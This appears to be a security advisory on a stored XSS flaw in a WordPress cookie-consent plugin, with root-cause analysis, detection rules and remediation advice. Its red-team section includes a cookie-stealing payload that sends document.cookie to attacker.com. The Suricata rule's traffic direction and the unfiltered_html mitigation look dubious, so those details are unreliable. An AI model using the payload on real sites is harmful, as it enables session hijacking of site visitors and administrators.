CVE-2025-2205

Executive Summary

CVE-2025-2205 is a Stored Cross-Site Scripting (XSS) vulnerability in the GDPR Cookie Compliance – Cookie Banner, Cookie Consent, Cookie Notice – CCPA, DSGVO, RGPD WordPress plugin, affecting all versions up to and including 4.15.6. The flaw resides in the plugin’s admin settings, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site installations or installations where unfiltered_html has been disabled. Given the CVSS score of 4.4 (Medium) and the requirement for high privileges, the immediate risk is moderate, but the potential for privilege escalation or lateral movement in multi-site environments is significant.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but administrators should verify plugin integrity and monitor for unauthorized updates.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires admin-level access.
• User Interaction (UI): Required (R) – Victim must visit the injected page.
• Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited script injection.
• Availability (A): Low (L) – Limited disruption.

Threat Level: Medium (4.4). Exploitation requires admin privileges, but in multi-site environments, a compromised admin account can lead to widespread XSS across all subsites.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s admin settings page, where user-supplied input (e.g., cookie banner text, consent messages) is not properly sanitized before being stored in the database. When the plugin renders these settings on the frontend, the unsanitized input is output without escaping, allowing arbitrary HTML and JavaScript injection.

Root Cause: The plugin uses add_settings_field() and register_setting() without implementing wp_kses() or similar sanitization functions. Additionally, output escaping functions like esc_html() or esc_attr() are missing when rendering the stored values.

Attack Flow:

1. Attacker gains admin access (e.g., via credential theft or privilege escalation).
2. Attacker navigates to the plugin’s settings page (e.g., /wp-admin/options-general.php?page=gdpr-cookie-compliance).
3. Attacker injects malicious JavaScript into a text field (e.g., cookie banner message).
4. The payload is stored in the WordPress options table.
5. When any user (including other admins or visitors) loads a page that displays the cookie banner, the script executes.

Affected Components:

• gdpr-cookie-compliance plugin version <= 4.15.6
• Admin settings fields: gdpr_cookie_banner_message, gdpr_cookie_consent_text, etc.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In admin settings page
register_setting('gdpr_cookie_compliance', 'gdpr_cookie_banner_message');
// In frontend rendering
echo get_option('gdpr_cookie_banner_message');

Patched Code (expected):

// In admin settings page
register_setting('gdpr_cookie_compliance', 'gdpr_cookie_banner_message', 'sanitize_text_field');
// In frontend rendering
echo esc_html(get_option('gdpr_cookie_banner_message'));

The patch should include:

• Input sanitization using sanitize_text_field() or wp_kses_post().
• Output escaping using esc_html() or wp_kses().

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Admin credentials on a WordPress multi-site installation.
• Plugin version <= 4.15.6.
• unfiltered_html capability disabled for the admin role.

Exploitation Steps:

1. Log in as an admin.
2. Navigate to Settings > GDPR Cookie Compliance.
3. In the "Cookie Banner Message" field, inject:

   <script>alert('XSS');</script>
   

4. Save settings.
5. Visit any frontend page; the script executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defender)

Detection:

• Monitor admin settings changes for the plugin.
• Look for suspicious JavaScript in plugin options table.
• Use WAF rules to block common XSS patterns in admin POST requests.

Hunting Query (SQL):

SELECT * FROM wp_options WHERE option_name LIKE 'gdpr_cookie%' AND option_value LIKE '%<script%';

Indicators of Compromise (IOCs)

• File Hashes: (None provided; check plugin file integrity)
• Network Indicators:
  • Outbound connections to attacker-controlled domains from WordPress admin.
  • POST requests to /wp-admin/options.php with suspicious payloads.
• Log Entries:
  • wp_options table entries containing <script> tags.
  • Admin user activity logs showing plugin settings changes.

Detection Engineering

YARA Rule

rule CVE_2025_2205_GDPR_XSS {
    meta:
        description = "Detects stored XSS payloads in GDPR Cookie Compliance plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2205"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_option = "gdpr_cookie"
    condition:
        $plugin_option and $xss_payload
}

Sigma Rule

title: Stored XSS in GDPR Cookie Compliance Plugin
id: cve-2025-2205
status: experimental
description: Detects stored XSS payloads in WordPress plugin settings
logsource:
    category: application
    product: wordpress
detection:
    selection:
        option_name|startswith: 'gdpr_cookie'
        option_value|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in cookie banners (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2205 GDPR Cookie Compliance Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options.php"; http_uri; content:"gdpr_cookie"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict admin access to trusted users only.
3. Enable unfiltered_html capability for admin roles (if safe).

Long-term Fix:

• Apply vendor patch when released (check plugin repository).
• Implement input sanitization and output escaping in custom code.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS payloads in admin POST requests.
• Monitor plugin settings changes via audit logs.

Valters IT – Securing WordPress ecosystems one CVE at a time.